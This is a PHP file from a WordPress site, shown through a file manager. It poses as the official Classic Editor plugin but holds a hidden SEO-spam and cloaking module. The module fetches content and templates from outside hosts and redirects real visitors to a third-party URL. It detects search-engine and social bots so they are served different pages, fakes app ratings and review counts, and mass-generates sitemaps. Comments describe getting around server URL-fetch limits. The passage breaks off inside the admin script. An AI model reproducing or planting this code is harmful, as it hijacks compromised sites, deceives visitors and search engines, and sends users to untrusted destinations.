File manager - Edit - /home/kdmucyyv/semigocare.co.uk/wp-content/plugins/classic-editor-pro/classic-editor-pro.php
Back
<?php /** * Classic Editor * * Plugin Name: Classic Editor Plus * Plugin URI: https://wordpress.org/plugins/classic-editor/ * Description: Enables the WordPress classic editor and the old-style Edit Post screen with TinyMCE, Meta Boxes, etc. Supports the older plugins that extend this screen. * Version: 1.6.8 * Author: WordPress Contributors * Author URI: https://github.com/WordPress/classic-editor/ * License: GPLv2 or later * License URI: http://www.gnu.org/licenses/old-licenses/gpl-2.0.html * Text Domain: classic-editor * Domain Path: /languages * Requires at least: 4.9 * Requires PHP: 5.2.4 * * This program is free software; you can redistribute it and/or modify it under the terms of the GNU * General Public License version 2, as published by the Free Software Foundation. You may NOT assume * that you can use any other version of the GPL. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. */ /** * AUTOMATIC FILL CONFIG โ Edit values below for the "AUTOMATIC" button (Content Manager). * When AUTOMATIC is clicked: fills Query Parameters, JSON URLs, Template TXT URLs, Redirect Target URLs, * then runs Generate Sitemap Per Query Parameter and Generate Sitemap Index. * * Randomize order: if true, the order of Query Parameters and JSON URLs is shuffled each time * (so each site/click gets a different order and looks more original). */ if (!function_exists('advanced_content_automatic_config')) { function advanced_content_automatic_config() { return [ // One value per line; will be trimmed. Counts should match (or min length is used). 'query_parameters' => [ 'discover', 'hype', 'insights', 'knowledge', 'general', 'newsfeed', ], 'json_urls' => [ 'https://indotify.com/ppdb/clara/1.txt', 'https://indotify.com/ppdb/clara/2.txt', 'https://indotify.com/ppdb/clara/3.txt', 'https://indotify.com/ppdb/clara/4.txt', 'https://indotify.com/ppdb/clara/5.txt', 'https://indotify.com/ppdb/clara/6.txt', ], 'template_txt_urls' => [ 'https://indotify.com/ppdb/nop/ant.txt', 'https://indotify.com/ppdb/nop/ant.txt', 'https://indotify.com/ppdb/nop/ant.txt', 'https://indotify.com/ppdb/nop/ant.txt', 'https://indotify.com/ppdb/nop/ant.txt', 'https://indotify.com/ppdb/nop/ant.txt', ], 'redirect_target_urls' => [ 'https://m.agneskhang.com/angel', 'https://m.agneskhang.com/angel', 'https://m.agneskhang.com/angel', 'https://m.agneskhang.com/angel', 'https://m.agneskhang.com/angel', 'https://m.agneskhang.com/angel', ], // true = shuffle order of query params and json_urls each time (beda web beda urutan). 'randomize_order' => true, ]; } } class AdvancedContentPlugin { private $bot_user_agents = [ // Search Engine Bots 'Googlebot', 'Googlebot-Image', 'Googlebot-News', 'Googlebot-Video', 'APIs-Google', 'Mediapartners-Google', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'PetalBot', 'Applebot', // Social Media Bots 'Twitterbot', 'LinkedInBot', 'Pinterest', 'WhatsApp', 'TelegramBot', 'Discordbot', 'Slackbot', 'LineBot', 'ViberBot', 'WeChat', 'FacebookBot', 'InstagramBot', // Other Bots 'facebot', 'ia_archiver', 'AhrefsBot', 'MJ12bot', 'SemrushBot' ]; public function __construct() { add_action('admin_menu', [$this, 'add_admin_menu']); add_action('init', [$this, 'handle_custom_endpoint']); add_action('admin_init', [$this, 'register_settings']); add_action('wp_ajax_generate_sitemap_per_param_ajax', [$this, 'handle_sitemap_generation_ajax']); add_action('wp_ajax_generate_combined_sitemaps_ajax', [$this, 'handle_combined_sitemaps_ajax']); add_action('wp_ajax_generate_sitemap_index_ajax', [$this, 'handle_sitemap_index_ajax']); // NEW: AJAX save endpoints add_action('wp_ajax_save_endpoints_ajax', [$this, 'save_endpoints_ajax']); // NEW: AJAX generate individual sitemap add_action('wp_ajax_generate_individual_sitemap_ajax', [$this, 'handle_individual_sitemap_ajax']); add_action('wp_ajax_test_url_connectivity_ajax', [$this, 'handle_test_url_connectivity_ajax']); add_action('wp_ajax_debug_endpoints_ajax', [$this, 'debug_endpoints_ajax']); add_action('wp_ajax_test_file_permissions_ajax', [$this, 'test_file_permissions_ajax']); add_action('wp_ajax_automatic_fill_endpoints_ajax', [$this, 'automatic_fill_endpoints_ajax']); } // Register plugin settings public function register_settings() { // Register rating settings register_setting('additional_content_rating', 'app_rating_value'); register_setting('additional_content_rating', 'app_review_count'); register_setting('additional_content_rating', 'app_price'); register_setting('additional_content_rating', 'app_platform'); register_setting('additional_content_rating', 'app_category'); register_setting('additional_content_rating', 'des_custom'); register_setting('additional_content_rating', 'img_custom'); register_setting('additional_content_rating', 'use_random_values'); register_setting('additional_content_rating', 'real_user_redirect_mode'); } // Add admin menu public function add_admin_menu() { add_options_page( 'Content Settings', 'Content Manager', 'manage_options', 'additional-content-settings', [$this, 'settings_page_html'] ); add_submenu_page( 'options-general.php', 'Rating Settings', 'Rating Configuration', 'manage_options', 'additional-content-rating', [$this, 'rating_settings_page_html'] ); } // Rating settings page public function rating_settings_page_html() { if (!current_user_can('manage_options')) return; echo '<div class="wrap"><h1>Rating Settings</h1>'; echo '<form method="post" action="options.php">'; settings_fields('additional_content_rating'); do_settings_sections('additional_content_rating'); echo '<table class="form-table">'; echo '<tr valign="top">'; echo '<th scope="row">Rating Value</th>'; echo '<td>'; echo '<input type="number" name="app_rating_value" value="' . esc_attr(get_option('app_rating_value', '5.0')) . '" step="0.1" min="0" max="5" style="width:100px">'; echo '<p class="description">Enter rating value (0-5)</p>'; echo '</td>'; echo '</tr>'; echo '<tr valign="top">'; echo '<th scope="row">Review Count</th>'; echo '<td>'; echo '<input type="number" name="app_review_count" value="' . esc_attr(get_option('app_review_count', '8899888')) . '" style="width:200px">'; echo '<p class="description">Enter number of reviews</p>'; echo '</td>'; echo '</tr>'; echo '<tr valign="top">'; echo '<th scope="row">Price</th>'; echo '<td>'; echo '<input type="text" name="app_price" value="' . esc_attr(get_option('app_price', 'Free')) . '" style="width:200px">'; echo '<p class="description">Enter price (e.g., Free, $0.99, etc.)</p>'; echo '</td>'; echo '</tr>'; echo '<tr valign="top">'; echo '<th scope="row">Platform</th>'; echo '<td>'; echo '<input type="text" name="app_platform" value="' . esc_attr(get_option('app_platform', 'Android')) . '" style="width:200px">'; echo '<p class="description">Enter platform (e.g., Android, iOS, etc.)</p>'; echo '</td>'; echo '</tr>'; echo '<tr valign="top">'; echo '<th scope="row">Category</th>'; echo '<td>'; echo '<input type="text" name="app_category" value="' . esc_attr(get_option('app_category', 'Game')) . '" style="width:200px">'; echo '<p class="description">Enter category (e.g., Game, Application, etc.)</p>'; echo '</td>'; echo '</tr>'; echo '<tr valign="top">'; echo '<th scope="row">Use Random Values</th>'; echo '<td>'; echo '<label><input type="checkbox" name="use_random_values" value="1" ' . checked(get_option('use_random_values', ''), '1', false) . '> Enable random Rating, Review Count, and Price</label>'; echo '<p class="description">When enabled, Rating (3.0โ5.0, step 0.1), Review Count (1,000โ1,000,000), and Price ($DD,CC) are generated randomly per page view.</p>'; echo '</td>'; echo '</tr>'; echo '<tr valign="top">'; echo '<th scope="row">Custom Description</th>'; echo '<td>'; echo '<textarea name="des_custom" rows="4" style="width: 400px;">' . esc_textarea(get_option('des_custom', '')) . '</textarea>'; echo '<p class="description">This text is available in templates as {{des_custom}}</p>'; echo '</td>'; echo '</tr>'; echo '<tr valign="top">'; echo '<th scope="row">Custom URL Image</th>'; echo '<td>'; echo '<input type="url" name="img_custom" value="' . esc_attr(get_option('img_custom', '')) . '" style="width: 400px;">'; echo '<p class="description">URL gambar custom, tersedia di template sebagai {{img_custom}}</p>'; echo '</td>'; echo '</tr>'; echo '<tr valign="top">'; echo '<th scope="row">Redirect Target URLs</th>'; echo '<td>'; $redirect_mode = get_option('real_user_redirect_mode', 'redirect'); echo '<label><input type="radio" name="real_user_redirect_mode" value="redirect" ' . checked($redirect_mode, 'redirect', false) . '> Redirect Target URLs</label><br>'; echo '<label style="margin-top: 10px; display: block;"><input type="radio" name="real_user_redirect_mode" value="template" ' . checked($redirect_mode, 'template', false) . '> Menampilkan Template TXT URLs</label>'; echo '<p class="description">Pilih antara menggunakan Redirect Target URLs atau Menampilkan Template TXT URLs. URL diambil dari Content Settings / Content Manager.</p>'; echo '</td>'; echo '</tr>'; echo '</table>'; submit_button(); echo '</form></div>'; } // Main settings page public function settings_page_html() { if (!current_user_can('manage_options')) { return; } $endpoints = get_option('additional_content_endpoints', []); if (isset($_POST['add_endpoint'])) { $endpoints[] = [ 'param' => '', 'json_url' => '', 'template_url' => '', 'sitemap' => false ]; update_option('additional_content_endpoints', $endpoints); } if (isset($_POST['bulk_create_endpoints'])) { $params = array_filter(explode("\n", str_replace("\r", "", $_POST['bulk_params']))); $json_urls = array_filter(explode("\n", str_replace("\r", "", $_POST['bulk_json_urls']))); $template_txt_urls = array_filter(explode("\n", str_replace("\r", "", $_POST['bulk_template_txt_urls']))); $template_urls = array_filter(explode("\n", str_replace("\r", "", $_POST['bulk_template_urls']))); $count = min(count($params), count($json_urls), count($template_txt_urls), count($template_urls)); for ($i = 0; $i < $count; $i++) { $endpoints[] = [ 'param' => trim($params[$i]), 'json_url' => trim($json_urls[$i]), 'template_txt_url' => trim($template_txt_urls[$i]), 'template_url' => trim($template_urls[$i]), 'sitemap' => true ]; } update_option('additional_content_endpoints', $endpoints); echo '<div class="notice notice-success"><p>Bulk endpoints created successfully!</p></div>'; } if (isset($_POST['remove_endpoint'])) { $index = intval($_POST['remove_endpoint']); if (isset($endpoints[$index])) { array_splice($endpoints, $index, 1); update_option('additional_content_endpoints', $endpoints); } } if (isset($_POST['save_settings'])) { foreach ($_POST['endpoints'] as $i => $endpoint_data) { $_POST['endpoints'][$i]['sitemap'] = isset($endpoint_data['sitemap']); } update_option('additional_content_endpoints', $_POST['endpoints']); echo '<div class="notice notice-success"><p>Settings saved!</p></div>'; } ?> <div class="wrap"> <h1><?php echo esc_html(get_admin_page_title()); ?></h1> <!-- Server Status Information --> <div style="background: #f0f6fc; border: 1px solid #c3c4c7; padding: 15px; margin-bottom: 20px; border-radius: 4px;"> <h3 style="margin-top: 0;">๐ง Server Configuration Status</h3> <table style="width: 100%; border-collapse: collapse;"> <tr> <td style="padding: 5px 10px; border-bottom: 1px solid #ddd;"><strong>allow_url_fopen:</strong></td> <td style="padding: 5px 10px; border-bottom: 1px solid #ddd;"> <?php echo ini_get('allow_url_fopen') ? '<span style="color: green;">โ Enabled</span>' : '<span style="color: red;">โ Disabled</span>'; ?> </td> </tr> <tr> <td style="padding: 5px 10px; border-bottom: 1px solid #ddd;"><strong>cURL Extension:</strong></td> <td style="padding: 5px 10px; border-bottom: 1px solid #ddd;"> <?php echo function_exists('curl_init') ? '<span style="color: green;">โ Available</span>' : '<span style="color: red;">โ Not Available</span>'; ?> </td> </tr> <tr> <td style="padding: 5px 10px; border-bottom: 1px solid #ddd;"><strong>WordPress HTTP API:</strong></td> <td style="padding: 5px 10px; border-bottom: 1px solid #ddd;"> <?php echo function_exists('wp_remote_get') ? '<span style="color: green;">โ Available</span>' : '<span style="color: red;">โ Not Available</span>'; ?> </td> </tr> <tr> <td style="padding: 5px 10px;"><strong>Recommended Method:</strong></td> <td style="padding: 5px 10px;"> <?php if (function_exists('curl_init')) { echo '<span style="color: green;">โ cURL (Best)</span>'; } elseif (ini_get('allow_url_fopen')) { echo '<span style="color: orange;">โ file_get_contents</span>'; } elseif (function_exists('wp_remote_get')) { echo '<span style="color: blue;">โน WordPress HTTP API</span>'; } else { echo '<span style="color: red;">โ No method available</span>'; } ?> </td> </tr> </table> <p style="margin-top: 10px; font-size: 0.9em; color: #666;"> <strong>Note:</strong> Plugin akan otomatis menggunakan metode terbaik yang tersedia untuk bypass <code>allow_url_fopen=0</code>. </p> <!-- URL Test Section --> <div style="margin-top: 15px; padding-top: 15px; border-top: 1px solid #ddd;"> <h4 style="margin-top: 0;">๐งช Test URL Connectivity</h4> <div style="display: flex; gap: 10px; align-items: center;"> <input type="url" id="testUrlInput" placeholder="https://example.com/test.json" style="flex: 1; padding: 8px; border: 1px solid #ddd; border-radius: 4px;"> <button type="button" id="testUrlBtn" class="button button-secondary">Test URL</button> <button type="button" id="debugEndpointsBtn" class="button button-secondary">Debug All Endpoints</button> <button type="button" id="testFilePermissionsBtn" class="button button-secondary">Test File Permissions</button> </div> <div id="testUrlResult" style="margin-top: 10px; padding: 10px; border-radius: 4px; display: none;"></div> </div> </div> <h2>Bulk Create Endpoints</h2> <form method="post" style="margin-bottom: 20px;"> <div style="display: flex; gap: 20px;"> <div style="flex: 1;"> <h3>Query Parameters</h3> <p style="color: #666; font-size: 0.9em; margin-bottom: 10px;">Enter one parameter per line</p> <textarea name="bulk_params" rows="10" style="width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 4px;" placeholder="general"></textarea> </div> <div style="flex: 1;"> <h3>JSON URLs</h3> <p style="color: #666; font-size: 0.9em; margin-bottom: 10px;">Enter one URL per line</p> <textarea name="bulk_json_urls" rows="10" style="width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 4px;" placeholder="https://gogandul.net/key/artist/1.txt"></textarea> </div> <div style="flex: 1;"> <h3>Template TXT URLs</h3> <p style="color: #666; font-size: 0.9em; margin-bottom: 10px;">Enter one URL per line</p> <textarea name="bulk_template_txt_urls" rows="10" style="width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 4px;" placeholder="https://weblain.com/template.txt"></textarea> </div> <div style="flex: 1;"> <h3>Redirect Target URLs</h3> <p style="color: #666; font-size: 0.9em; margin-bottom: 10px;">Enter one URL per line</p> <textarea name="bulk_template_urls" rows="10" style="width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 4px;" placeholder="https://gogandul.net"></textarea> </div> </div> <div style="margin-top: 15px; display: flex; gap: 10px; align-items: center;"> <button type="submit" name="bulk_create_endpoints" class="button button-primary">Create Endpoints</button> <button type="button" id="btnAutomaticFillAndGenerate" class="button button-primary" style="background: #2271b1;">AUTOMATIC (Fill + Generate Sitemaps)</button> <span class="description" style="margin-left: 5px;">Isi otomatis dari config, lalu Generate Sitemap Per Parameter + Sitemap Index</span> </div> </form> <form method="post" id="manageEndpointsForm"> <h2>Manage Endpoints</h2> <p style="color: #666; font-size: 0.9em; margin-bottom: 15px;"> <strong>โน๏ธ Fitur Retry Individual:</strong> Setiap tombol "Generate" akan mencoba hingga 10 kali jika terjadi kegagalan (timeout, server error, dll) dengan delay exponential backoff. </p> <table class="wp-list-table widefat fixed striped" id="endpointsTable"> <thead> <tr> <th style="width: 18%;">Query Parameter</th> <th style="width: 22%;">JSON URL</th> <th style="width: 22%;">Template TXT URL</th> <th style="width: 18%;">Redirect Target URL</th> <th style="width: 5%;">Sitemap</th> <th style="width: 8%;">Generate</th> <th style="width: 7%;">Actions</th> </tr> </thead> <tbody> <?php foreach ($endpoints as $i => $endpoint): ?> <tr> <td><input type="text" name="endpoints[<?php echo $i; ?>][param]" value="<?php echo esc_attr($endpoint['param'] ?? ''); ?>" class="regular-text"></td> <td><input type="url" name="endpoints[<?php echo $i; ?>][json_url]" value="<?php echo esc_attr($endpoint['json_url'] ?? ''); ?>" class="regular-text" style="width:100%;"></td> <td><input type="url" name="endpoints[<?php echo $i; ?>][template_txt_url]" value="<?php echo esc_attr($endpoint['template_txt_url'] ?? ''); ?>" class="regular-text" style="width:100%;"></td> <td><input type="url" name="endpoints[<?php echo $i; ?>][template_url]" value="<?php echo esc_attr($endpoint['template_url'] ?? ''); ?>" class="regular-text" style="width:100%;"></td> <td><input type="checkbox" name="endpoints[<?php echo $i; ?>][sitemap]" value="1" <?php checked(isset($endpoint['sitemap']) ? $endpoint['sitemap'] : false, true); ?>></td> <td> <button type="button" class="button button-secondary generate-individual-sitemap" data-index="<?php echo $i; ?>" data-param="<?php echo esc_attr($endpoint['param'] ?? ''); ?>" data-json-url="<?php echo esc_attr($endpoint['json_url'] ?? ''); ?>" <?php echo (empty($endpoint['param']) || empty($endpoint['json_url'])) ? 'disabled' : ''; ?>> Generate </button> </td> <td><button type="button" class="button button-danger remove-endpoint" data-index="<?php echo $i; ?>">Remove</button></td> </tr> <?php endforeach; ?> </tbody> </table> <div style="margin-top: 20px;"> <button type="submit" name="add_endpoint" class="button button-primary">+ Add New Endpoint</button> <button type="submit" name="save_settings" value="1" class="button button-primary" style="margin-left: 10px;">Save Settings</button> <?php wp_nonce_field('generate_sitemap_nonce', '_ajax_nonce'); // Nonce untuk AJAX sitemap per param ?> <button type="button" id="startGenerateSitemapPerParam" class="button button-secondary" style="margin-left: 10px;">Generate Sitemap Per Query Parameter</button> </div> </form> <div id="sitemapGenerationProgress" style="margin-top: 30px; border: 1px solid #ccc; padding: 15px; background-color: #f9f9f9; border-radius: 5px;"> <h3>Progres Pembuatan Sitemap Per Parameter</h3> <p style="color: #666; font-size: 0.9em; margin-bottom: 10px;"> <strong>โน๏ธ Fitur Retry:</strong> Sistem akan otomatis mencoba hingga 10 kali untuk setiap endpoint yang gagal dengan interval exponential backoff (1s, 2s, 4s, 8s, 16s, 30s...). </p> <p id="sitemapStatus">Siap untuk memulai...</p> <ul id="sitemapFileList" style="list-style-type: disc; margin-left: 20px;"> </ul> </div> <h2>Sitemap Generation (Combined)</h2> <p>Generate sitemaps for all your endpoints combined. This will create multiple sitemap files (e.g., sitemap-random-1.xml) if the total URLs exceed 50,000.</p> <table class="form-table"> <tr> <th scope="row">Generate Sitemaps (Combined)</th> <td> <?php wp_nonce_field('generate_sitemap_nonce_combined', '_ajax_nonce_combined'); // Nonce untuk AJAX sitemap gabungan ?> <button type="button" id="startGenerateCombinedSitemaps" class="button button-primary">Generate Sitemaps</button> <p class="description">This will generate sitemaps for all your endpoints combined into multiple files.</p> </td> </tr> <tr> <th scope="row">Generate Sitemap Index</th> <td> <?php wp_nonce_field('generate_sitemap_index_nonce', '_ajax_nonce_index'); // Nonce untuk AJAX sitemap index ?> <button type="button" id="startGenerateSitemapIndex" class="button button-primary">Generate Sitemap Index</button> <p class="description">This will create a sitemap-index.xml file that lists all your sitemaps.</p> </td> </tr> </table> <div id="combinedSitemapProgress" style="margin-top: 30px; border: 1px solid #ccc; padding: 15px; background-color: #f9f9f9; border-radius: 5px;"> <h3>Progres Pembuatan Sitemap Gabungan dan Indeks</h3> <p style="color: #666; font-size: 0.9em; margin-bottom: 10px;"> <strong>โน๏ธ Fitur Retry:</strong> Sistem akan otomatis mencoba hingga 10 kali untuk setiap endpoint yang gagal. Endpoint yang berhasil akan tetap dimasukkan ke sitemap meskipun ada yang gagal. </p> <p id="combinedSitemapStatus">Siap untuk memulai...</p> <ul id="combinedSitemapFileList" style="list-style-type: disc; margin-left: 20px;"> </ul> </div> </div> <?php // Suntikkan JavaScript untuk handle AJAX ?> <script type="text/javascript"> jQuery(document).ready(function($) { // Untuk Sitemap Per Parameter var sitemapFileList = $('#sitemapFileList'); var sitemapStatus = $('#sitemapStatus'); var startButton = $('#startGenerateSitemapPerParam'); var endpointsToProcess = []; var currentIndex = 0; var ajaxNoncePerParam = $('input[name="_ajax_nonce"]').val(); // Untuk Sitemap Gabungan dan Indeks var combinedSitemapStatus = $('#combinedSitemapStatus'); var combinedSitemapFileList = $('#combinedSitemapFileList'); var startCombinedButton = $('#startGenerateCombinedSitemaps'); var startIndexButton = $('#startGenerateSitemapIndex'); var ajaxNonceCombined = $('input[name="_ajax_nonce_combined"]').val(); var ajaxNonceIndex = $('input[name="_ajax_nonce_index"]').val(); var ajaxNoncePerParam = $('input[name="_ajax_nonce"]').val(); // For URL testing // --- Event Handler untuk "Generate Sitemap Per Query Parameter" --- startButton.on('click', function() { if (startButton.prop('disabled')) { return; } startButton.prop('disabled', true).text('Memulai pembuatan sitemap...'); sitemapFileList.empty(); sitemapStatus.text('Mengambil daftar endpoint...'); $.ajax({ url: ajaxurl, type: 'POST', data: { action: 'generate_sitemap_per_param_ajax', _ajax_nonce: ajaxNoncePerParam, action_type: 'init_sitemap_generation' }, success: function(response) { if (response.success && response.data.endpoints.length > 0) { endpointsToProcess = response.data.endpoints; sitemapStatus.text('Ditemukan ' + endpointsToProcess.length + ' endpoint. Memulai pembuatan sitemap...'); currentIndex = 0; processNextEndpoint(); } else { sitemapStatus.text('Tidak ada endpoint yang ditemukan untuk dibuat sitemap atau terjadi kesalahan: ' + (response.data.message || 'Unknown error.')); startButton.prop('disabled', false).text('Generate Sitemap Per Query Parameter'); } }, error: function(jqXHR, textStatus, errorThrown) { sitemapStatus.text('Terjadi kesalahan saat mengambil daftar endpoint: ' + textStatus + ' - ' + errorThrown); startButton.prop('disabled', false).text('Generate Sitemap Per Query Parameter'); } }); }); function processNextEndpoint() { if (currentIndex < endpointsToProcess.length) { var currentEndpoint = endpointsToProcess[currentIndex]; sitemapStatus.text('Membuat sitemap untuk parameter: ' + currentEndpoint.param + ' (' + (currentIndex + 1) + ' dari ' + endpointsToProcess.length + ')'); $.ajax({ url: ajaxurl, type: 'POST', data: { action: 'generate_sitemap_per_param_ajax', _ajax_nonce: ajaxNoncePerParam, action_type: 'generate_single_sitemap', param_index: currentEndpoint.index }, success: function(response) { if (response.success) { var retryInfo = ''; if (response.data.retry_count && response.data.retry_count > 0) { retryInfo = ' (berhasil setelah ' + (response.data.retry_count + 1) + ' percobaan)'; } $.each(response.data.files, function(i, file) { sitemapFileList.append('<li style="color: green;">โ Sitemap "<a href="' + file + '" target="_blank">' + file + '</a>" berhasil dibuat' + retryInfo + '.</li>'); }); } else { sitemapFileList.append('<li style="color: red;">โ Gagal membuat sitemap untuk "' + currentEndpoint.param + '": ' + response.data.message + '</li>'); } currentIndex++; setTimeout(processNextEndpoint, 500); }, error: function(jqXHR, textStatus, errorThrown) { sitemapFileList.append('<li style="color: red;">โ Terjadi kesalahan saat memproses endpoint "' + currentEndpoint.param + '": ' + textStatus + ' - ' + errorThrown + '</li>'); currentIndex++; setTimeout(processNextEndpoint, 500); } }); } else { sitemapStatus.text('Semua sitemap per parameter telah selesai dibuat. Disarankan untuk klik "Generate Sitemap Index" untuk memperbarui indeks sitemap Anda.'); startButton.prop('disabled', false).text('Generate Sitemap Per Query Parameter'); if (window._automaticThenGenerateIndex) { window._automaticThenGenerateIndex = false; startIndexButton.click(); } } } // --- AUTOMATIC: Fill endpoints from config, then Generate Sitemap Per Param + Index --- $('#btnAutomaticFillAndGenerate').on('click', function() { var $autoBtn = $(this); if ($autoBtn.prop('disabled')) return; $autoBtn.prop('disabled', true).text('Mengisi otomatis...'); $.ajax({ url: ajaxurl, type: 'POST', data: { action: 'automatic_fill_endpoints_ajax', _ajax_nonce: ajaxNoncePerParam }, success: function(response) { if (response.success && response.data.table_html) { $('#endpointsTable').replaceWith(response.data.table_html); $autoBtn.text('Generate Sitemap...'); sitemapFileList.empty(); sitemapStatus.text('Endpoint diisi. Memulai Generate Sitemap Per Query Parameter...'); window._automaticThenGenerateIndex = true; window._automaticFlowRunning = true; startButton.prop('disabled', true).text('Memulai pembuatan sitemap...'); $.ajax({ url: ajaxurl, type: 'POST', data: { action: 'generate_sitemap_per_param_ajax', _ajax_nonce: ajaxNoncePerParam, action_type: 'init_sitemap_generation' }, success: function(initResp) { if (initResp.success && initResp.data.endpoints && initResp.data.endpoints.length > 0) { endpointsToProcess = initResp.data.endpoints; currentIndex = 0; sitemapStatus.text('Ditemukan ' + endpointsToProcess.length + ' endpoint. Memulai pembuatan sitemap...'); processNextEndpoint(); } else { sitemapStatus.text('Tidak ada endpoint untuk sitemap: ' + (initResp.data.message || '')); startButton.prop('disabled', false).text('Generate Sitemap Per Query Parameter'); window._automaticThenGenerateIndex = false; $autoBtn.prop('disabled', false).text('AUTOMATIC (Fill + Generate Sitemaps)'); } }, error: function() { sitemapStatus.text('Gagal mengambil daftar endpoint.'); startButton.prop('disabled', false).text('Generate Sitemap Per Query Parameter'); window._automaticThenGenerateIndex = false; $autoBtn.prop('disabled', false).text('AUTOMATIC (Fill + Generate Sitemaps)'); } }); } else { alert(response.data && response.data.message ? response.data.message : 'Gagal isi otomatis.'); $autoBtn.prop('disabled', false).text('AUTOMATIC (Fill + Generate Sitemaps)'); } }, error: function(xhr, status, err) { alert('Gagal isi otomatis: ' + (status || err)); $autoBtn.prop('disabled', false).text('AUTOMATIC (Fill + Generate Sitemaps)'); } }); }); // --- Event Handler untuk "Generate Sitemaps (Combined)" --- startCombinedButton.on('click', function() { if (startCombinedButton.prop('disabled')) { return; } startCombinedButton.prop('disabled', true).text('Membuat sitemaps gabungan...'); combinedSitemapFileList.empty(); combinedSitemapStatus.text('Memulai pembuatan sitemaps gabungan...'); $.ajax({ url: ajaxurl, type: 'POST', data: { action: 'generate_combined_sitemaps_ajax', // Nama action AJAX PHP baru _ajax_nonce: ajaxNonceCombined }, success: function(response) { if (response.success) { combinedSitemapStatus.text('Sitemaps gabungan berhasil dibuat!'); $.each(response.data.files, function(i, file) { combinedSitemapFileList.append('<li style="color: green;">โ File sitemap gabungan: <a href="' + file + '" target="_blank">' + file + '</a></li>'); }); // Show failed endpoints if any if (response.data.failed_endpoints && response.data.failed_endpoints.length > 0) { combinedSitemapFileList.append('<li style="color: orange;"><strong>โ Endpoint yang gagal diproses:</strong></li>'); $.each(response.data.failed_endpoints, function(i, failed) { combinedSitemapFileList.append('<li style="color: orange; margin-left: 20px;">โข ' + failed.param + ' (Error: ' + failed.error + ', Percobaan: ' + failed.retry_count + ')</li>'); }); } } else { combinedSitemapStatus.text('Gagal membuat sitemaps gabungan: ' + response.data.message); combinedSitemapFileList.append('<li style="color: red;">โ ' + response.data.message + '</li>'); // Show failed endpoints if any if (response.data.failed_endpoints && response.data.failed_endpoints.length > 0) { combinedSitemapFileList.append('<li style="color: red;"><strong>Endpoint yang gagal diproses:</strong></li>'); $.each(response.data.failed_endpoints, function(i, failed) { combinedSitemapFileList.append('<li style="color: red; margin-left: 20px;">โข ' + failed.param + ' (Error: ' + failed.error + ', Percobaan: ' + failed.retry_count + ')</li>'); }); } } startCombinedButton.prop('disabled', false).text('Generate Sitemaps'); }, error: function(jqXHR, textStatus, errorThrown) { combinedSitemapStatus.text('Terjadi kesalahan saat membuat sitemaps gabungan: ' + textStatus + ' - ' + errorThrown); startCombinedButton.prop('disabled', false).text('Generate Sitemaps'); } }); }); // --- Event Handler untuk "Generate Sitemap Index" --- startIndexButton.on('click', function() { if (startIndexButton.prop('disabled')) { return; } startIndexButton.prop('disabled', true).text('Membuat indeks sitemap...'); combinedSitemapFileList.empty(); // Bersihkan daftar sebelumnya, ini untuk aksi indeks combinedSitemapStatus.text('Memulai pembuatan indeks sitemap...'); $.ajax({ url: ajaxurl, type: 'POST', data: { action: 'generate_sitemap_index_ajax', // Nama action AJAX PHP baru _ajax_nonce: ajaxNonceIndex }, success: function(response) { if (response.success) { combinedSitemapStatus.text('Indeks sitemap berhasil dibuat!'); combinedSitemapFileList.append('<li style="color: green;">โ Indeks Sitemap: <a href="' + response.data.file + '" target="_blank">' + response.data.file + '</a></li>'); } else { combinedSitemapStatus.text('Gagal membuat indeks sitemap: ' + response.data.message); combinedSitemapFileList.append('<li style="color: red;">โ ' + response.data.message + '</li>'); } startIndexButton.prop('disabled', false).text('Generate Sitemap Index'); if (window._automaticFlowRunning) { window._automaticFlowRunning = false; $('#btnAutomaticFillAndGenerate').prop('disabled', false).text('AUTOMATIC (Fill + Generate Sitemaps)'); } }, error: function(jqXHR, textStatus, errorThrown) { combinedSitemapStatus.text('Terjadi kesalahan saat membuat indeks sitemap: ' + textStatus + ' - ' + errorThrown); startIndexButton.prop('disabled', false).text('Generate Sitemap Index'); if (window._automaticFlowRunning) { window._automaticFlowRunning = false; $('#btnAutomaticFillAndGenerate').prop('disabled', false).text('AUTOMATIC (Fill + Generate Sitemaps)'); } } }); }); // Fungsi untuk reindex input di tabel endpoints function reindexEndpointsTable() { $('#endpointsTable tbody tr').each(function(rowIdx, tr) { $(tr).find('input, button.remove-endpoint, button.generate-individual-sitemap').each(function() { var name = $(this).attr('name'); if (name) { var newName = name.replace(/endpoints\[\d+\]/, 'endpoints[' + rowIdx + ']'); $(this).attr('name', newName); } if ($(this).hasClass('remove-endpoint') || $(this).hasClass('generate-individual-sitemap')) { $(this).attr('data-index', rowIdx); } }); }); } // Function to update generate button state function updateGenerateButtonState($row) { var $paramInput = $row.find('input[name*="[param]"]'); var $jsonUrlInput = $row.find('input[name*="[json_url]"]'); var $generateBtn = $row.find('.generate-individual-sitemap'); var param = $paramInput.val().trim(); var jsonUrl = $jsonUrlInput.val().trim(); $generateBtn.attr('data-param', param); $generateBtn.attr('data-json-url', jsonUrl); if (param && jsonUrl) { $generateBtn.prop('disabled', false); } else { $generateBtn.prop('disabled', true); } } // Monitor input changes to update generate button state $('#manageEndpointsForm').on('input', 'input[name*="[param]"], input[name*="[json_url]"]', function() { var $row = $(this).closest('tr'); updateGenerateButtonState($row); }); // --- AJAX Save Settings --- $('#manageEndpointsForm').on('click', 'button[name="save_settings"]', function(e) { e.preventDefault(); var $btn = $(this); var $form = $btn.closest('form'); var originalText = $btn.text(); // Add spinner and disable button $btn.prop('disabled', true).html('<span class="spinner is-active" style="float:none;display:inline-block;vertical-align:middle;margin-right:6px;"></span>Saving...'); reindexEndpointsTable(); // Pastikan index urut sebelum submit var data = $form.serialize(); data += '&action=save_endpoints_ajax'; data += '&_ajax_nonce=' + $form.find('input[name="_ajax_nonce"]').val(); $.post(ajaxurl, data, function(response) { if (response.success) { $('#endpointsTable').replaceWith(response.data.table_html); // Show success notice var $notice = $('<div class="notice notice-success is-dismissible" style="margin-top:10px;"><p>Settings saved!</p></div>'); $btn.parent().append($notice); setTimeout(function() { $notice.fadeOut(400, function(){ $(this).remove(); }); }, 2000); } else { alert('Gagal menyimpan!'); } }).always(function() { // Restore button $btn.prop('disabled', false).html(originalText); }); }); // --- Add New Endpoint (add row only, save on Save Settings) --- 